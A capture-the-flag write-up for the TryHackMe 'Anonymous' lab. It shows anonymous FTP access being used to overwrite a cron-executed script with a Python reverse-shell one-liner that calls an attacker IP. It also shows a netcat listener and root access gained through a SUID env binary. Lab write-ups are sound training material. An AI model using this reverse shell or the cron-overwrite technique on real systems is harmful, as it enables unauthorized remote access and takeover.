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Anonymous THM Room by Winter 
Today we have an interesting room called Anonymous, let’s solve it and capture all the flags!  
The TryHackMe format is a little different from HackTheBox, so I will NOT POST THE 
ANSWERS TO THE QUESTIONS IN THE WRITEUP. I will only post important flags such as 
user or root. 

ENUMERATION & FIRST FOOTHOLD 
First of all we just have an IP, so let’s perform a basic enumeration on the target IP. 

 
 
The nmap results are pretty interesting, a 21/TCP port for a FTP with anonymous login, we’ll 
check this now, we also have a 22/tcp port for a SSH, but we don’t have credentials yet and 
a 445 and 139 tcp ports for a SMB service. 
As i said, let’s dive into the port 21 to check that anonymous login on the FTP service. 
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Here we can find a folder named “scripts” and inside it, we find some files. A script called 
“clean.sh”, a log file called “removed_files” and a to_do.txt, let’s download all the files. 
 

 
 
Ok, let’s dive into the files! 
 

 
 
Not much here… 
 

 

http://clean.sh
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But here we go! we got some interesting sauce here, because if we check the log file:  

 
 
We actually can see that the script is executed regularly. That means that the script will most 
likely be part of a cronjob. Also, we can see that the script have a syntax error, because it 
should count the files in temp, but in that sh script tmp_files=0, we can compare 
numbers with -eq, not with if [ $tmp_files=0 ], so the tmp_files is HARDCODED to 0. 
 
What that means? It means that tmp_files will ALWAYS be 0, so the only statement that will 
run will be the if one. So, the script only writes "Running cleanup script:  nothing to 
delete" into removed_files.log each time it’s executed as we can see here: 

 
 
That's an obvious way to get a shell, since, remember, we have anonymous access to FTP. 
 
So first of all we’ll set up a listener on out system with nc -lvnp 4444, and then we’ll craft our 
payload:  
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python -c 'import 
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STRE
AM);s.connect(("10.8.6.10",6969));os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; 
pty.spawn("/bin/bash")' 
 
Why python? i’ll try it because the target’s operating system is Linux, most likely Ubuntu, 
which comes with python by default.  
 
So let’s modify the script. 

 
 
There we go, now we have a backdoor. The next step is to upload the file to the ftp server 
and wait until the cronjob executes it. (REMEMBER TO LISTEN WITH NC)  

 
 
Ok, time to upload the file: 

 
 
Done! and we can see that almost INSTANTLY the script gave us a shell.  
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Now after checking the files, I discovered that the user “namelessone” has a directory called 
“pics”. I'll check it out. 

 
 
Interesting… 
I’ll download those files and check them out to see if there’s something hidden in those 
pictures. 
I start by setting up a http server with python on the victim machine, inside the pics directory: 

 
 
Now i simply download the files on my system. 
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Pretty cute, right?  
Anyways, let’s check the files in depth. I checked it with “strings”, “steghide”, “exiftool” but 
seems like there’s no hidden data into that images. 
 

PRIVILEGE ESCALATION AND ROOT FLAG 
Let’s try to perform some privilege escalation with the user we have, “namelessone” 
I first checked the crontab: 

 
But there was nothing interesting there.  
So instead of wasting time, i directly used linpeas into the /tmp folder. 

 

 
 
Now we will run linpeas and see if there’s some interesting results…  
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That’s something interesting: 

 

 
Also, we have root permissions over /usr/bin/env: 

 
 
So let’s keep it simple, let’s try checking that binary on GTFOBins: 

 
It’s pretty simple, so let’s check it in the victim system: 
 

 
 
There we go, we’re root, and now we can capture the root.txt!  

 
 
Done! We've got it, we're root, and we have the user.txt and root.txt flags. I hope this writeup 
has been useful to you. See you in more rooms! 

https://gtfobins.github.io/gtfobins/env
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